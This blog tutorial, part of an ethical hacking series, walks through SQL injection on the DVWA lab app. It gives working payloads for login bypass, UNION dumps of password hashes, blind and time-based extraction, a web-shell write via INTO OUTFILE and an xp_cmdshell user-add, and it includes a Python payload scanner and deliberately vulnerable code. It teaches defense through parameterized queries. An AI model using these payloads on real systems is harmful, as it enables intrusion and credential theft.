Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die

avatar
(Edited)

Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die

leh-banner.jpg

What will I learn

  • What SQL injection is and why it has persisted for 25+ years;
  • Identifying injection points: GET parameters, POST data, cookies, headers;
  • Exploiting SQL injection on DVWA: from error-based to UNION-based extraction;
  • Bypassing simple input filters and WAF rules;
  • Writing a Python SQL injection scanner from scratch;
  • The defense: parameterized queries and why they work at the parser level.

Requirements

  • A working modern computer running macOS, Windows or Ubuntu;
  • Your hacking lab from Episode 2 (Kali + DVWA at Security Level: Low);
  • Basic SQL knowledge (SELECT, WHERE, UNION -- we'll cover what you need);
  • Python 3 with the requests library;
  • The ambition to learn ethical hacking and security research.

Difficulty

  • Beginner

Curriculum (of the Learn Ethical Hacking series):

Solutions to Episode 11 Exercises

Exercise 1 -- Burp Suite request modification:

Key findings from modifying the DVWA login request:
- Changing User-Agent: server doesn't care, login succeeds (User-Agent
  is informational only, not used for authentication)
- Adding X-Custom header: ignored by server (unknown headers are allowed
  by HTTP spec, just passed through)
- Changing username: login fails (username is part of authentication logic)
- Removing Cookie header: server creates a new session, redirects to
  login page (PHPSESSID cookie is required for session tracking)

The Cookie header is the most security-critical: it carries the session
token. Without it, the server doesn't know who you are. With a stolen
cookie, you ARE that user.

The key insight: HTTP is stateless. The Cookie header is the ENTIRE mechanism for maintaining identity across requests. Steal the cookie, steal the session.

Exercise 2 -- Security header auditor:

import requests, sys

HEADERS = {
    'X-Content-Type-Options': ('nosniff', 'Prevents MIME type sniffing (XSS via file upload)'),
    'X-Frame-Options': ('DENY', 'Prevents clickjacking via iframe embedding'),
    'Content-Security-Policy': ('default-src self', 'Controls resource loading (XSS mitigation)'),
    'Strict-Transport-Security': ('max-age=31536000', 'Forces HTTPS (prevents downgrade attacks)'),
    'X-XSS-Protection': ('1; mode=block', 'Legacy XSS filter (deprecated but still useful)'),
    'Referrer-Policy': ('strict-origin-when-cross-origin', 'Controls referrer info leakage'),
}

def audit(url):
    resp = requests.get(url, timeout=10, verify=False)
    print(f"[*] Auditing: {url}\n")
    missing = 0
    for header, (recommended, risk) in HEADERS.items():
        if header.lower() not in {k.lower(): v for k, v in resp.headers.items()}:
            missing += 1
            print(f"  [!] MISSING: {header}")
            print(f"      Risk: {risk}")
            print(f"      Recommended: {header}: {recommended}\n")
    print(f"[*] Missing {missing}/{len(HEADERS)} security headers")

audit(sys.argv[1])
# Metasploitable2 will be missing ALL of them

The key insight: Metasploitable2 (and most legacy applications) ship with zero security headers. Modern frameworks (Django, Rails, Express) set most of these by default -- but only if you use the security middleware.

Exercise 3 -- Manual HTTP with netcat:

Server headers that leak technology stack:
- Server: Apache/2.2.8 (Ubuntu) DAV/2  -> OS and web server version
- X-Powered-By: PHP/5.2.4-2ubuntu5.10  -> language and exact patch level
- Allow: GET,HEAD,POST,OPTIONS,TRACE    -> enabled methods (TRACE is risky)
- DAV: 1,2                             -> WebDAV enabled (PUT file upload possible)

In production: remove Server/X-Powered-By headers, disable TRACE,
disable WebDAV unless explicitly needed.

The key insight: the OPTIONS response is a roadmap for attackers. Every enabled method is a potential attack vector. TRACE enables XST, PUT enables file upload, DELETE could remove content.


Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die

SQL injection was first publicly documented in 1998 by Jeff Forristal in Phrack Magazine. Twenty-eight years later, it remains in the OWASP Top 10. It's responsible for some of the largest data breaches in history -- Heartland Payment Systems (2008, 130 million cards), Sony PlayStation Network (2011, 77 million accounts), TalkTalk (2015, 157,000 customer records). It's one of the first things AI code assistants get wrong (as we discussed in episode 6). And it is embarrassingly simple to both exploit AND prevent.

So why won't it die? Because developers keep putting user input into SQL strings. It's the same fundamental problem we've been tracking since episode 1 -- user input is untrusted and must be treated as such. When developers forget that (or when their framework abstractions leak), SQL injection is what happens.

This episode is the first hands-on web attack in Arc 2. Last episode we explored how HTTP works at the raw level -- headers, methods, request smuggling. Now we start exploiting the applications that speak HTTP. And we start with the king of web vulnerabilities, the one that's been #1 on every security list since security lists existed.

Laten we beginnen.

The Fundamental Problem

Here's what happens inside a vulnerable web application when you search for a user:

// PHP code on the server (DVWA, simplified)
$id = $_GET['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($query);

When you enter 1, the query becomes:

SELECT first_name, last_name FROM users WHERE user_id = '1'

Works fine. Returns one user. But what happens if you enter 1' OR '1'='1?

SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1'

The OR '1'='1' is always true. The query returns EVERY user in the table. You just bypassed the intended query logic by injecting SQL syntax into a value field.

This is the core of SQL injection: the database cannot distinguish between the developer's SQL code and the attacker's injected SQL code, because they're concatenated into a single string before being sent to the parser. The data became code. That's the entire vulnerability in one sentence.

Think back to what we saw with HTTP request smuggling in episode 11 -- different parsers disagreeing about where one thing ends and another begins. SQL injection is the same class of problem. The application sees 1' OR '1'='1 as a single user input value. The database parser sees it as a value (1), a string terminator ('), and then additional SQL logic (OR '1'='1'). Two systems, same input, different interpretations. Hetzelfde patroon, steeds weer.

Hands-On: SQL Injection on DVWA

Open DVWA in your Kali browser. Set security level to Low. Navigate to SQL Injection.

The page has an input field asking for a "User ID." It expects a number. But the application doesn't enforce that expectation -- it takes whatever you type and shoves it into a SQL string. Let's prove it.

Step 1: Confirm injection exists

Enter: 1'

If you see a SQL error message like:

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near ''1''' at line 1

That's confirmation. The single quote broke the SQL syntax -- the application is concatenating your input directly into the query with no sanitization, no escaping, nothing. The error message is also leaking information: you now know it's MySQL, and you can see exactly how your input is being embedded in the query structure. Some applications hide error messages in production (which is good security practice), but DVWA at Low security shows everything.

Step 2: Extract all users

Enter: 1' OR '1'='1

You should see ALL users returned (admin, Gordon, Hack, Pablo, Bob). Five records instead of one. The OR condition made every row match.

Step 3: Determine the number of columns

Before using UNION (which lets us pull data from other tables), we need to know how many columns the original query returns. UNION requires both sides to have the same column count:

1' ORDER BY 1 -- -
1' ORDER BY 2 -- -
1' ORDER BY 3 -- -    <- this one errors: "Unknown column '3'"

Two columns. The -- - is a SQL comment that ignores everything after it (including the closing quote from the application's query). The space and dash after -- are necessary because MySQL requires at least one whitespace character after the comment indicator.

Step 4: UNION-based extraction

Now we inject our own SELECT using UNION:

1' UNION SELECT user(), database() -- -

This returns the database username and current database name alongside the normal results. On DVWA, you'll see something like root@localhost and dvwa. The database is running as root -- which means any SQL we inject runs with full database privileges. That's bad (for the defender).

Step 5: Enumerate tables

1' UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_schema = 'dvwa' -- -

This queries MySQL's information_schema -- the metadata database that describes all other databases, tables, and columns on the server. Every MySQL installation has it, and it's accessible to anyone who can execute SQL. You'll see guestbook and users.

Step 6: Enumerate columns

1' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'users' -- -

Now you know the column names: user_id, first_name, last_name, user, password, avatar. The password column is the prize.

Step 7: Dump the entire users table

1' UNION SELECT user, password FROM users -- -

You just extracted every username and password hash from the database. The password hashes (MD5 in DVWA's case) can be cracked with the techniques from episode 7. If you saved your hashcat or John the Ripper notes, now's the time to pull them out.

The entire attack took seven steps and about two minutes. From "I wonder if this input field is vulnerable" to "I have every credential in the database." And this is on a deliberately vulnerable application with security set to Low. In the real world, the same attack pattern works against production applications -- it just requires more steps to bypass whatever defenses are in place (which is what we'll cover in the next episode on advanced SQL injection).

Having said that, I want to be clear about something: this sequence -- confirm injection, determine column count, UNION extract, enumerate information_schema, dump target table -- is the STANDARD methodology. Every pentester follows these exact steps. Every automated tool (sqlmap, which we'll discuss later in this series) automates these exact steps. Understanding the manual process is critical because when automated tools fail (and they do), you need to know what's happening underneath to debug and adapt.

Injection Points: It's Not Just URL Parameters

The DVWA example uses a GET parameter (?id=1), which is the simplest case. But SQL injection can happen anywhere user input touches a SQL query:

POST data: Login forms are a classic target. If the application does SELECT * FROM users WHERE username='$user' AND password='$pass', you can bypass authentication entirely:

Username: admin' -- -
Password: anything

The query becomes SELECT * FROM users WHERE username='admin' -- -' AND password='anything'. Everything after -- - is a comment. The password check is completely eliminated. You're logged in as admin without knowing the password.

HTTP headers: Some applications log or process headers like User-Agent, Referer, or X-Forwarded-For by inserting them into SQL databases. If the application stores your User-Agent in a log table via string concatenation:

query = f"INSERT INTO access_log (page, user_agent) VALUES ('/index', '{user_agent}')"

An attacker sends: User-Agent: '; DROP TABLE access_log; -- -

Cookies: Session values, preferences, or shopping cart data stored in cookies that get used in SQL queries. Less common but still found, especially in older PHP applications that store user preferences in cookies and query them directly.

JSON/XML bodies: Modern APIs accept structured data in request bodies. If the application extracts values from JSON and concatenates them into SQL, the injection point is inside the JSON payload. This catches developers off guard because they think "it's JSON, it's structured, it's safe" -- but JSON is just a transport format. The values inside it are still user input, and putting them in a SQL string is still concatenation.

The lesson: ANY user-controllable input that reaches a SQL query is a potentail injection point. If you're doing a pentest and you're only testing URL parameters, you're missing attack surface. Test everything that goes into the request.

Beyond the Basics: Other Injection Types

What we just did is called UNION-based injection -- the most straightforward type because results are directly visible in the page. But there are situations where the application doesn't show query results in the HTTP response. That's where blind injection techniques come in.

Error-based injection: Extract data through error messages. MySQL's EXTRACTVALUE() and UPDATEXML() functions can be abused to return data in error text:

1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e)) -- -
-- Error: "XPATH syntax error: '~dvwa~'"
-- The database name is embedded in the error message!

The application doesn't need to display query results. It just needs to show error messages. And many applications do, especially in development or staging enviroments that accidentally went to production (something I've seen more times than I'd like to admit ;-) ).

Boolean-based blind injection: No visible output at all. But you can ask yes/no questions by observing whether the page renders normally or differently:

1' AND SUBSTRING(database(),1,1)='d' -- -
-- If the page loads normally: first character is 'd'
-- If it's different/empty: first character is NOT 'd'

One character at a time. Slow but effective. You cycle through all printable characters for each position until you've extracted the entire value. For a 5-character database name, that's up to 5 x 95 = 475 requests. For a full table dump with 100 rows of data, you're looking at thousands of requests. Tedious manually, trivial to automate.

Time-based blind injection: The ultimate blind technique. No visible output AND identical responses for true/false. But you can measure response time:

1' AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0) -- -
-- If response takes 5 seconds: first character is 'd'
-- If immediate: first character is NOT 'd'

This works against ANY application that has SQL injection, regardless of whether it shows results, errors, or any difference in the response. The timing side-channel is always there because the database will always execute the SLEEP. It's extremely slow (5 seconds per character test) but it's the last resort when everything else is blocked, and it almost always works.

Writing a SQL Injection Scanner

Let's build a basic scanner that automates the detection of SQL injection vulnerabilities. This is a simplified version of what tools like sqlmap do internally:

#!/usr/bin/env python3
"""
Basic SQL injection detection scanner.
Tests URL parameters for common injection indicators.
"""
import requests
import sys
from urllib.parse import urlparse, parse_qs, urlencode

# Payloads that indicate SQL injection when they trigger errors
PAYLOADS = [
    "'",
    "1' OR '1'='1",
    "1' OR '1'='1' -- -",
    "1; DROP TABLE test -- -",
    "1' AND 1=1 -- -",
    "1' AND 1=2 -- -",
]

# Error strings that indicate SQL injection
SQL_ERRORS = [
    "you have an error in your sql syntax",
    "warning: mysql",
    "unclosed quotation mark",
    "quoted string not properly terminated",
    "microsoft ole db provider for sql server",
    "postgresql query failed",
    "sqlite3.operationalerror",
]

def test_parameter(url, param_name, original_value, cookies=None):
    """Test a single parameter for SQL injection."""
    findings = []

    for payload in PAYLOADS:
        # Replace the parameter value with the payload
        parsed = urlparse(url)
        params = parse_qs(parsed.query)
        params[param_name] = [payload]
        test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urlencode(params, doseq=True)}"

        try:
            resp = requests.get(test_url, cookies=cookies, timeout=10)
            body = resp.text.lower()

            for error in SQL_ERRORS:
                if error in body:
                    findings.append({
                        'param': param_name,
                        'payload': payload,
                        'error': error,
                        'status': resp.status_code
                    })
                    break
        except requests.RequestException:
            continue

    return findings

def scan(url, cookies=None):
    """Scan all URL parameters for SQL injection."""
    parsed = urlparse(url)
    params = parse_qs(parsed.query)

    if not params:
        print("[-] No URL parameters found to test")
        return

    print(f"[*] Testing {len(params)} parameter(s) on {parsed.netloc}")

    for param, values in params.items():
        print(f"\n[*] Testing parameter: {param}")
        findings = test_parameter(url, param, values[0], cookies)

        if findings:
            print(f"  [+] SQL INJECTION FOUND in '{param}'!")
            for f in findings:
                print(f"      Payload: {f['payload']}")
                print(f"      Error:   {f['error']}")
        else:
            print(f"  [-] No injection detected in '{param}'")

if __name__ == '__main__':
    url = sys.argv[1] if len(sys.argv) > 1 else \
        "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"
    # You'll need to provide DVWA session cookies
    cookies = {'PHPSESSID': 'your_session_id', 'security': 'low'}
    scan(url, cookies)

This scanner is error-based only -- it sends payloads and looks for SQL error strings in the response. A real scanner like sqlmap also does boolean-based and time-based blind detection (comparing response lengths and measuring delays), tests multiple database backends, and has hundreds of payload variations. But the principle is the same: send input that would break SQL syntax, observe whether the application reveals the breakage.

Let's add a blind injection detector that compares response lengths for true vs false conditions:

def test_blind(url, param_name, cookies=None):
    """Test for boolean-based blind SQL injection."""
    parsed = urlparse(url)
    params = parse_qs(parsed.query)

    # True condition
    params[param_name] = ["1' AND 1=1 -- -"]
    true_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urlencode(params, doseq=True)}"

    # False condition
    params[param_name] = ["1' AND 1=2 -- -"]
    false_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urlencode(params, doseq=True)}"

    try:
        true_resp = requests.get(true_url, cookies=cookies, timeout=10)
        false_resp = requests.get(false_url, cookies=cookies, timeout=10)

        len_diff = abs(len(true_resp.text) - len(false_resp.text))
        if len_diff > 50:
            print(f"  [+] BLIND SQL INJECTION likely in '{param_name}'!")
            print(f"      True response:  {len(true_resp.text)} bytes")
            print(f"      False response: {len(false_resp.text)} bytes")
            print(f"      Difference: {len_diff} bytes")
            return True
    except requests.RequestException:
        pass

    return False

The logic is simple: if 1' AND 1=1 -- - (true) produces a significantly different response than 1' AND 1=2 -- - (false), the application is processing the injected SQL conditions. The AND 1=1 doesn't change the result set (it's always true), while AND 1=2 eliminates all results (it's always false). A response length difference proves the injection is affecting the query.

Where SQL Injection Gets Really Dangerous

The DVWA examples are educational. But in production systems, SQL injection escalates far beyond reading database tables:

File system access: MySQL's LOAD_FILE() and INTO OUTFILE can read and write files on the server's filesystem:

-- Read /etc/passwd (if MySQL has FILE privilege)
1' UNION SELECT LOAD_FILE('/etc/passwd'), 2 -- -

-- Write a PHP web shell to the web root
1' UNION SELECT '<?php system($_GET["cmd"]); ?>', 2 INTO OUTFILE '/var/www/html/shell.php' -- -

If the database user has the FILE privilege (and MySQL running as root often does), you just went from "SQL injection" to "arbitrary file read/write." And from file write to remote code execution is one HTTP request away -- browse to shell.php?cmd=whoami and you're executing OS commands. This is how SQL injection turns into full server compromise.

Command execution: Some database engines support executing system commands directly. Microsoft SQL Server has xp_cmdshell:

'; EXEC xp_cmdshell 'net user hacker Password123! /add'; -- -

If xp_cmdshell is enabled (it's disabled by default in modern SQL Server, but attackers can often re-enable it if they have sysadmin privileges), you have direct OS command execution through the database.

Lateral movement: Once you have database access through injection, you can often find credentials for other systems stored in the same database -- API keys, SMTP passwords, admin credentials for other applications. Databases are credential treasure troves. I've seen engagements where a SQL injection in a secondary web application gave us credentials to the primary domain controller. The injection itself was the initial foothold; the real damage came from what was stored in the database.

The Fix: Parameterized Queries

The defense is absolute and simple. Use parameterized queries (also called prepared statements):

# VULNERABLE (string concatenation)
cursor.execute(f"SELECT * FROM users WHERE id = '{user_input}'")

# SECURE (parameterized query)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_input,))

The difference: with parameterized queries, the SQL structure and the data are sent separately to the database engine. The parser processes the SQL template first (it knows the structure: SELECT, FROM, WHERE, placeholder). THEN it inserts the data into the placeholder position. The data can NEVER be interpreted as SQL code because the parsing already happened.

This isn't a filter or a sanitizer -- it's an architectural fix. The parser literally cannot confuse data for code. There's no bypass, no edge case, no encoding trick that breaks it. It's been available in every major database library since the early 2000s.

# All major languages support parameterized queries:

# Python (sqlite3)
cursor.execute("SELECT * FROM users WHERE name = ?", (name,))

# Python (psycopg2 / PostgreSQL)
cursor.execute("SELECT * FROM users WHERE name = %s", (name,))

# PHP (PDO)
# $stmt = $pdo->prepare("SELECT * FROM users WHERE name = :name");
# $stmt->execute(['name' => $name]);

# Java (PreparedStatement)
# PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name = ?");
# ps.setString(1, name);

# Node.js (pg)
# const result = await pool.query('SELECT * FROM users WHERE name = $1', [name]);

What about ORM frameworks like Django's ORM, SQLAlchemy, or ActiveRecord? They use parameterized queries internally, so they're safe by default. But (and this is a big but) every ORM has an escape hatch for raw SQL queries. Django has .raw() and .extra(). SQLAlchemy has text(). The moment a developer drops to raw SQL for performance or complexity reasons, they're back to manual parameterization. And that's where they forget.

The AI Slop Connection

This ties directly back to our running thread from episode 6. AI code assistants frequently generate SQL queries using string concatenation. Ask an AI to write a Python function that looks up a user by ID, and there's a measurable chance it will produce something like:

# AI-generated code (VULNERABLE)
def get_user(user_id):
    query = f"SELECT * FROM users WHERE id = '{user_id}'"
    cursor.execute(query)
    return cursor.fetchone()

Instead of:

# Correct (SECURE)
def get_user(user_id):
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
    return cursor.fetchone()

The vulnerable version is syntactically cleaner -- it's one line instead of a tuple argument. It reads more naturally. It works perfectly in testing. And it's a critical security vulnerability that's been documented for twenty-eight years. The AI has been trained on millions of code examples, including all the vulnerable ones in tutorials, Stack Overflow answers, and legacy codebases. It reproduces the pattern because the pattern is common. Common and catastrophic ;-)

And yet, in 2026, developers still concatenate strings. AI code assistants still suggest it. Twenty-eight years of the same bug. Ongelooflijk, toch?

Second-Order SQL Injection

There's one more variant that's particularly sneaky and worth mentioning before we wrap up: second-order injection (also called stored injection). The malicious SQL isn't executed when it's first submitted -- it's stored in the database and then executed later when it's retrieved and used in another query.

Example: a user registers with the username admin' -- -. The registration form uses parameterized queries (secure), so the username is stored safely in the database as a literal string. But later, a different part of the application retrieves that username and uses it in a concatenated query:

# Registration (parameterized -- safe)
cursor.execute("INSERT INTO users (username) VALUES (%s)", (username,))

# Later, in a password change function (concatenated -- VULNERABLE)
stored_username = get_current_user()  # returns "admin' -- -"
cursor.execute(f"UPDATE users SET password = '{new_pass}' WHERE username = '{stored_username}'")
# Becomes: UPDATE users SET password = 'newpass' WHERE username = 'admin' -- -'
# Changes the ADMIN's password, not the attacker's!

The first query is secure. The second query is vulnerable. The attack payload survived storage and was activated on retrieval. This is hard to find with automated scanners because the injection point (registration form) and the execution point (password change) are different parts of the application. You need to understand the application's data flow to find second-order injection, which is why manual code review and understanding application architecture matters alongside automated testing.

What Comes Next

SQL injection goes deeper than one episode can cover. We've done classic injection on DVWA at Low security -- direct input, visible results, cooperative error messages. But real applications have defenses: prepared statements (the correct fix), input validation (a partial fix), WAFs (a band-aid), and DVWA's higher security levels simulate these progressively.

Next time we'll tackle all of that. DVWA at Medium and High security. Blind injection techniques at scale. Automated tools. Filter bypassing. Extracting entire database schemas through timing channels that take 5 seconds per character. The methodology for when the easy techniques fail and you need to get creative.

But the foundation you built today is permanent. Confirm the injection. Count the columns. UNION SELECT from information_schema. Dump the target table. This sequence doesn't change. The difficulty goes up; the logic stays the same.

Exercises

Exercise 1: Perform the full DVWA SQL injection attack described in this episode (Steps 1-7). Save the extracted usernames and password hashes to ~/lab-notes/dvwa-users.txt. Then use hashcat or John the Ripper (episode 7) to crack the MD5 hashes. How many passwords did you crack? Document the complete attack chain from injection to cracked passwords in ~/lab-notes/sqli-attack-chain.md.

Exercise 2: Modify the Python SQL injection scanner to add blind injection detection: after testing error-based payloads, test boolean-based blind injection by comparing the response length for 1' AND 1=1 -- - (true condition) vs 1' AND 1=2 -- - (false condition). If the response lengths differ by more than 50 bytes, report potential blind SQL injection. Test against DVWA with security set to Medium (which hides error messages but is still injectable through POST data).

Exercise 3: Write a vulnerable Flask web application with a deliberate SQL injection vulnerability (use sqlite3 with string concatenation). Then write a SECOND version with the same functionality but using parameterized queries. Create a test script that attempts SQL injection against both versions and proves that the parameterized version is immune. Save both versions in ~/pentest-tools/sqli-demo/.


Thx for reading! And for your support!

@scipio



0
0
0.000
0 comments